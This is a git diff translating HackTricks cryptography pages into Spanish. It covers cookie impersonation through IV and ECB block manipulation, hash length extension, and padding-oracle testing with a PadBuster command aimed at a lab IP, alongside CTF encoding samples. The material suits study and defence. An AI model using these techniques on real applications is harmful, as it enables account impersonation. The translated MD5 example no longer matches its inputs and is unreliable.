"**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\ +Si la cookie es solo el nombre de usuario cifrado, para suplantar al usuario "**administrator**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\ +Ahora, si puedes controlar el IV, puedes cambiar el primer byte del IV de modo que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator.** Esta cookie será válida para **suplantar** al usuario **administrator** con el **IV** inicial. -## References +## Referencias -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Más información en [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..2123e3fde 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Online Hashes DBs +## Bases de Datos de Hashes en Línea -- _**Google it**_ +- _**Búscalo en Google**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -16,124 +16,119 @@ - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +## Autosolvers Mágicos - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo mágico) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## Codificadores -Most of encoded data can be decoded with these 2 ressources: +La mayoría de los datos codificados se pueden decodificar con estos 2 recursos: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### Autosolvers de Sustitución - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno! -#### Caesar - ROTx Autosolvers +#### Autosolvers de César - ROTx - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### Cifrado Atbash - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### Autosolver de Codificaciones Base -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Verifica todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` +- **Base32 Hexadecimal Extendida** \[_0-9A-V_] +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `<~BQ%]q@psCd@rH0l~>` +- **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Muerto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Teclado Dvorak ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Letras a su valor numérico ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### Cifrado Afín Codificar -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el resultado de vuelta a letra ``` krodfdudfrod ``` +### Código SMS -### SMS Code +**Multitap** [reemplaza una letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\ +Por ejemplo: 2=A, 22=B, 222=C, 3=D...\ +Puedes identificar este código porque verás\*\* varios números repetidos\*\*. -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### Código Bacon +Sustituye cada letra por 4 As o Bs (o 1s y 0s) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) -## Compression +## Compresión -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados. -## Easy Crypto +## Cripto Fácil ### XOR - Autosolver @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +Se necesita una palabra clave. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Se necesita una palabra clave ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Cripto Fuerte ### Fernet -2 base64 strings (token and key) - +2 cadenas base64 (token y clave) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Compartición Secreta de Samir +Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### Fuerza bruta de OpenSSL - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Herramientas - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..a6f864e75 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Libro de Códigos Electrónicos - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (depende del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro utilizando la única clave. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +Usar ECB tiene múltiples implicaciones de seguridad: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **Se pueden eliminar bloques del mensaje cifrado** +- **Se pueden mover bloques del mensaje cifrado** -# Detection of the vulnerability +# Detección de la vulnerabilidad -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`|`**.\ +Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo** **nombre de usuario**.\ +Descubres que los **bloques de 8B** donde la **info de ambos usuarios** es la misma son **iguales**. Luego, imaginas que esto podría ser porque **se está utilizando ECB**. +Como en el siguiente ejemplo. Observa cómo estas **2 cookies decodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (quizás el delimitador "|" o alguna diferencia necesaria en el nombre de usuario). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Ahora, el atacante solo necesita descubrir si el formato es `` o ``. Para hacer eso, puede **generar varios nombres de usuario** con nombres de usuario y contraseñas **similares y largos hasta que encuentre el formato y la longitud del delimitador:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud del nombre de usuario+contraseña: | Longitud de la cookie (después de decodificar): | +| ------------------------------- | -------------------------- | ------------------------------------------- | ------------------------------------------------ | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Explotación de la vulnerabilidad -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Eliminando bloques enteros +Conociendo el formato de la cookie (`|`), para suplantar el nombre de usuario `admin`, crea un nuevo usuario llamado `aaaaaaaaadmin` y obtén la cookie y decodifícalo: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado anteriormente con el nombre de usuario que contenía solo `a`.\ +Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Moviendo bloques -## Moving blocks +En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios extra)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Así que, otra forma de suplantar al usuario `admin` sería: -So, another way to impersonate the user `admin` would be to: +- Generar un nombre de usuario que: `len() + len(` generará 2 bloques de 8Bs. +- Luego, generar una contraseña que llenará un número exacto de bloques conteniendo el nombre de usuario que queremos suplantar y espacios, como: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +La cookie de este usuario va a estar compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está simulando el nombre de usuario): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Luego, solo reemplaza el primer bloque con el último y estarás suplantando al usuario `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Referencias - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..6c8aeb39d 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# Resumen del ataque -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado) +- **Los datos de texto claro** +- **El algoritmo (y es vulnerable a este ataque)** +- **El padding es conocido** +- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es +- El padding varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**. -## How? +## ¿Cómo? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\ +Si un atacante quiere agregar la cadena "agregar", puede: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- Generar un MD5 de 64 "A"s +- Cambiar el estado del hash inicializado previamente a 6036708eba0d11f6ef52ad44e8b74d5b +- Agregar la cadena "agregar" +- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "padding" + "agregar"** -## **Tool** +## **Herramienta** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## Referencias -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..8a2b6262c 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} +# CBC - Encadenamiento de Bloques de Cifrado -# CBC - Cipher Block Chaining - -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +En modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con el siguiente bloque: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Para descifrar CBC se realizan las **operaciones** **opuestas**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Nota cómo es necesario usar una **clave de cifrado** y un **IV**. -# Message Padding +# Relleno de Mensaje -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Como el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\ +Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Veamos más ejemplos con **2 bloques de longitud 8bytes**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Nota cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**. -# Padding Oracle +# Oracle de Relleno -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados** o una **respuesta más lenta**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**. -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## Cómo explotar +Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Para probar si la cookie de un sitio es vulnerable, podrías intentar: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 